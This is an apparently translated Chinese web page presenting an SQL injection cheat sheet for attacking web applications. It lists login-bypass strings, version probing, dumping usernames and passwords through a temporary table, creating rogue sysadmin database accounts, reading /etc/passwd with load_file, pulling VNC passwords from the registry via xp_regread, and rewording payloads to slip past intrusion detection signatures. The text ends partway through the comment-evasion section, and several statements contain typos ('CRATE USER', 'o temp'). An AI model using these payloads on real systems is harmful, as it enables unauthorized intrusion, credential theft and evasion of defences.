专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »数据库 » sql注射:SQL注射技术整理总结文档 »正文

sql注射:SQL注射技术整理总结文档

来源: 发布时间:星期五, 2008年12月19日 浏览:2次 评论:0


  最近看了不少老外写东西看时间相同技术当铺比我们早了好长段时间比如ASPSQL注射国外02年就出现了PHP也在04年出现而我们直到05年才接触到看看比人家晚了多少时间呀!
为了尽快了解最新技术动态我坚持看E文资料很长很短本人时间有限不可能翻译过来只能挑选自己认为比较适合大家看东西翻译过来希望你能从中学到东西

PS:本人英语水平有限很多都是按照我理解做模糊翻译若有不当敬请指正谢谢!

||目录||=
--------------------
1、介绍
2、漏洞测试
3、收集信息
4、数据类型
5、抓取密码
6、创建数据库帐号
7、MYSQL利用
8、服务名和配置
9、在注册表中找VNC密码
10、刺穿IDS认证
11、在MYSQL中使用char欺骗
12、用注释躲避IDS认证
13、构造无引号

||文章开始||

1、介绍

当你看到个服务器只开了80端口这在定程度上介绍说明管理员把系统补丁做很好我们所要做最有效攻击则也应该转向WEB攻击SQL注射是最常用攻击方式你攻击WEN系统(ASPPHPJSPCGI等)比去攻击系统或者其他系统服务要简单
SQL注射是通过页面中输入来欺骗使得其可以运行我们构造查询或者别命令我们知道在WEB上面有很多供我们输入参数地方比如用户名、密码或者E_mail

2、漏洞测试

最开始我们应该从最简单来试:

- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--

还有下面这样方式:

- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3、收集信息

- ' or 1 in (select @@version)--
- ' union all select @@version--

上面就可以得到系统版本和补丁信息

4、数据类型

Oracle数据库>>
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL数据库
-->mysql.user
-->mysql.host
-->mysql.db

MS access数据
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server数据库
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5、抓取密码

用类似下面语句
//保存查询结果
step1 : '; begin declare @var varchar(8000) @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var o temp end --
//取得信息
step2 : ' and 1 in (select var from temp)--
//删除临时表
step3 : ' ; drop table temp --

6、创建数据库帐号

MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7、MYSQL交互查询

使用Union查询暴出文件代码如下:
- ' union select 1,load_file('/etc/passwd'),1,1,1;

8、系统服务名和配置

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9、找到VNC密码(注册表)

实验语句如下:

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',
- @value_name='password',
- @value = @out output
- select cast (@out as big) as x o TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10、避开IDS检测

Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11、MYSQL中使用char

不带引号注射例如: ( = "%"):
--> ' or username like char(37);
带引号注射例如: (="root"):
--> ' union select * from users where login = char(114,111,111,116);
在 unions中使用load files 例如:( = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
检查文件是否存在例如: ( = "n.ext"):
-->' and 1=( ((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12、利用注释符号避开IDS

相关文章

读者评论

  • 共0条 分0页

发表评论

  • 昵称:
  • 内容: